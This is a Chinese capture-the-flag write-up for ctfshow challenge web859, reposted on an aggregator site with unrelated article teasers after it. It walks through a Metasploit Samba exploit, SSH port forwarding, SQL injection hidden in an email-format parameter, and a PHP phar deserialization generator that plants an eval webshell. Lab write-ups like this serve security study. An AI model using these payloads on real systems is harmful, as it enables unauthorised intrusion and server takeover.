ctfshow web入门 内网渗透篇

news2024/12/24 8:53:36

web859

首先ssh连接上之后传个fscan上去,扫描下内网靶机
发现.5和.6的比较可疑。
一个存在web服务,一个存在445端口。
在这里插入图片描述

先看下445端口,靶机给我们提供了msf,所以直接用msf打下Samba

msfconsole
use exploit/linux/samba/is_known_pipename
set rhost x.x.x.x
exploit 

拿下之后就有flag了
在这里插入图片描述
再来看下另外一台靶机,因为存在web服务,但是又不能出网所以通过ssh端口映射到本地来

ssh -L 8085:172.2.107.5:80 ctfshow@pwn.challenge.ctf.show -p 28146

接着访问本地的8085就可以了。
在这里插入图片描述
在如图所示位置存在源码泄露,可以在gitee上下载下来。
接着就是代码审计了。首先在登录函数中存在doFilter对传入的用户名密码进行过滤,所以很难去注入。不过在dorest中貌似可以。
在这里插入图片描述
没有使用doFilter函数过滤,只是要求了我们传入的参数需要符合email格式。
我们可以通过构造恶意的邮箱来达到注入的目的

email='union/**/select/**/username/**/from/**/user#@qq.com&username=123
email='union/**/select/**/password/**/from/**/user#@qq.com&username=123

可以得到用户名密码分别为ctfshow ctfshase????
登录成功后页面存在文件上传功能
在这里插入图片描述
这个框架应该是没啥问题的,那我们在回过头来看看源码。
在api/index.php中存在一个写文件的功能,假如可以控制$mail的值,就可以写入一个木马进去。
在这里插入图片描述
再来看哪里调用了sendResetMail
在这里插入图片描述在这里插入图片描述
起始调用点是__wakeup,但是没有给反序列化点怎么办呢?
没错,可以用phar,毕竟我们还有个文件上传的功能,后面需要做的就是这么触发phar。
在下面这个地方
在这里插入图片描述
$file是我们完全可控的。
需要的点都具备了,后面就是生成phar文件了

<?php

class action{
	private $email="'.eval(\$_POST[1]));//";
}
$a = new action();

$phar = new Phar("yu22x.phar");
$phar->startBuffering();
$phar->setStub(file_get_contents('a.png')."<?php __HALT_COMPILER(); ?>");
$phar-> addFromString('test.txt','yu22x');
$phar->setMetadata($a);
$phar->stopBuffering();

上面用到的a.png随便找个真的png就可以了。
生成之后把后缀改成png上传

在这里插入图片描述
比如上图所示图片就在ckfinder/userfiles/images/yu22x.png目录下。
接着通过phar伪协议触发。

api/index.php?a=view
file=phar:///var/www/html/ckfinder/userfiles/images/yu22x.png

成功之后蚁剑连接http://127.0.0.1:8085/mail_cache/cache.php即可。

后面又是上面fsan扫描,但其实没什么东西了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/686902.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数字贸易下转口贸易企业如何高效管理?

什么是转口贸易&#xff1f;是指企业在国内购买进口货物&#xff0c;经过加工、组装、包装等方式改变其性质&#xff0c;再出口到海外市场的贸易活动。这种贸易方式对于促进国际贸易和提高企业竞争力都有着非常重要的作用&#xff0c;但同时也存在着一些风险和难点&#xff0c;…

如何向领导建议数字化转型应着手数据治理?_光点科技

在当今数字化时代&#xff0c;企业的数字化转型已经成为一个迫切的任务。然而&#xff0c;数字化转型不仅仅涉及技术的引入&#xff0c;更需要在数据治理方面进行全面的改进。 一、数据治理是数字化转型的基石。 数据是企业最重要的资产之一&#xff0c;通过对数据的管理和利用…

电气工程师日常工作常遇到的41种接线方法(二)

021 缘耐压测试仪线路 这种绝缘耐压测试仪可测灯具&#xff0c;将待测灯具与A、B两接线柱接好&#xff0c;按下按钮SB1&#xff0c;中间继电器KA1得电并自锁&#xff1b;然后将调压器VT(1∶10&#xff0c;输出0~250V)调至需测的电压值&#xff0c;如需调到1500V则将VT调到电压…

第四章.­ ­ Feasibility of Learning

第四章. Feasibility of Learning 本章主要介绍机器学习的可行性&#xff0c;讨论问题是否可以使用机器学习来解决。 4.1 Learning is Impossible 1.示例描述 1).九宫格样本类型的预测描述&#xff1a; 图中有6个样本&#xff0c;分成两个类别&#xff08;1和-1&#xff09…

pytorch搭建VGG网络

pytorch搭建VGG网络 CNN 感受野VGG-16搭建VGG网络model.pytrain.pypredict.py VGG 网络的创新点&#xff1a;通过堆叠多个小卷积核来替代大尺度卷积核&#xff0c;可以减少训练参数&#xff0c;同时能保证相同的感受野。 例如&#xff0c;可以通过堆叠两个 33 的卷积核替代 5x5…

SpringSecurity6.0+Redis+JWT基于token认证功能开发(可用于实际生产项目,保证API安全)

基于token认证功能开发 引子&#xff1a;最近做项目时遇到了一个特殊的需求&#xff0c;需要写共享接口把本系统的一些业务数据共享给各地市的自建系统&#xff0c;为了体现公司的专业性以及考虑到程序的扩展性&#xff08;通过各地市的行政区划代码做限制&#xff09;&#xf…

Java框架之spring AOP 和 IOC

写在前面 本文一起看下spring aop 和 IOC相关的内容。 1&#xff1a;spring bean核心原理 1.1&#xff1a;spring bean的生命周期 spring bean生命周期&#xff0c;参考下图&#xff1a; 我们来一步步的看下。 1 其中1构造函数就是执行类的构造函数完成对象的创建&#x…

第八十四天学习记录:Linux基础:初识Linux

流行的Linux发行版&#xff1a; 任何人都可以封装Linux&#xff0c;目前市面上有非常多的Linux发行版&#xff0c;常用的知名的如下&#xff1a; VMware WorkStations安装 安装完成后&#xff0c;要通过下图方式查看网络适配器是否正常配置&#xff1a; 配置成功&#xff1a…

软件需求分析文档怎么写?

什么是软件需求规范文档 &#xff08;SRS&#xff09;&#xff1f; 软件需求规范 &#xff08;SRS&#xff09; 文档列出了未来项目的需求、期望、设计和标准。其中包括规定项目目标的高级业务需求、最终用户要求和需求以及产品在技术方面的功能。简而言之&#xff0c;SRS 提供…

Vue-Element-Admin项目学习笔记(8)配置表单校验规则

前情回顾&#xff1a; vue-element-admin项目学习笔记&#xff08;1&#xff09;安装、配置、启动项目 vue-element-admin项目学习笔记&#xff08;2&#xff09;main.js 文件分析 vue-element-admin项目学习笔记&#xff08;3&#xff09;路由分析一:静态路由 vue-element-adm…

软考:中级软件设计师:校验码,汉明码纠错,信息位L和校验位r的关系

软考&#xff1a;中级软件设计师:校验码&#xff0c;汉明码纠错 提示&#xff1a;系列被面试官问的问题&#xff0c;我自己当时不会&#xff0c;所以下来自己复盘一下&#xff0c;认真学习和总结&#xff0c;以应对未来更多的可能性 关于互联网大厂的笔试面试&#xff0c;都是…

Linux通过crontab定时执行脚本任务

Linux通过crontab定时执行脚本任务 前言1. 创建写入脚本2. 设置执行权限3. 添加定时任务定时任务语法格式每分钟写入一条信息到指定文件 4. 查看日志文件5. 定时执行脚本的作用和用途 前言 在Linux中可以使用crontab来定时执行脚本。crontab是一个用于管理定时任务的工具&…

我这样回答多线程并发,面试官直接惊叹!

目录 前言&#xff1a; 1.单线程执行 2、多线程执行 3.守护线程 4.阻塞线程 前言&#xff1a; 多线程并发是一种处理任务的方式&#xff0c;它可以在同一时间内执行多个任务。多线程并发通常应用于需要同时处理多个任务或同时运行多个程序的情况下。 1.单线程执行 Pyth…

便携式水污染检测设备可以分析多少项污水指标

便携式水污染检测设备可以分析多少项污水指标&#xff08;以下只是一部分&#xff09; 水质检测仪可检测范围 1、饮用水检测&#xff1a;生活用水&#xff08;自来水&#xff09;、&#xff08;瓶、桶装&#xff09;矿泉水、天然矿泉水等&#xff1b; 2、工业用水检测&#xf…

人机融合智能的现状与展望

本篇文章是博主在人工智能等领域学习时&#xff0c;用于个人学习、研究或者欣赏使用&#xff0c;并基于博主对人工智能等领域的一些理解而记录的学习摘录和笔记&#xff0c;若有不当和侵权之处&#xff0c;指出后将会立即改正&#xff0c;还望谅解。文章分类在学习摘录和笔记专…

【开源库剖析】Shadow v2.3.0 源码解析

作者&#xff1a;Stan_Z 一、框架介绍 Shadow是19年腾讯开源的自研Android插件化框架&#xff0c;经过线上亿级用户量检验。 Shadow不仅开源分享了插件技术的关键代码&#xff0c;还完整的分享了上线部署所需要的所有设计。 优点&#xff1a; 1&#xff09;复用独立安装app源…

Python可视化库之Matplotlib详解及使用方法

Matplotlib是Python中最常用的可视化工具之一,可以非常方便地创建海量类型的2D图表和一些基本的3D图表。本文主要推荐一个学习使用Matplotlib的步骤。 基本前提 如果你除了本文之外没有任何基础,建议用以下几个步骤学习如何使用matplotlib: 学习基本的matplotlib术语,尤其是…

第二十二章Java一维数组的定义、赋值和初始化

当数组中每个元素都只带有一个下标时&#xff0c;这种数组就是“一维数组”。一维数组&#xff08;one-dimensional array&#xff09;实质上是一组相同类型数据的线性集合&#xff0c;是数组中最简单的一种数组。 数组是引用数据类型&#xff0c;引用数据类型在使用之前一定要…

Reactor的概念

一、Reactor的概念 ​ Reactor模式是一种事件驱动模式&#xff0c;由一个或多个并发输入源&#xff08;input)&#xff0c;一个消息分发处理器&#xff08;Initiation Dispatcher&#xff09;&#xff0c;以及每个消息对应的处理器&#xff08;Request Handler&#xff09;构成…

Linux安装nodejs

一、下载包 https://registry.npmmirror.com/binary.html?pathnode/ 比如&#xff1a;10.9.0 https://registry.npmmirror.com/binary.html?pathnode/v10.9.0/ 按需下载 https://registry.npmmirror.com/-/binary/node/v10.9.0/node-v10.9.0-linux-x64.tar.gz 二、上传到…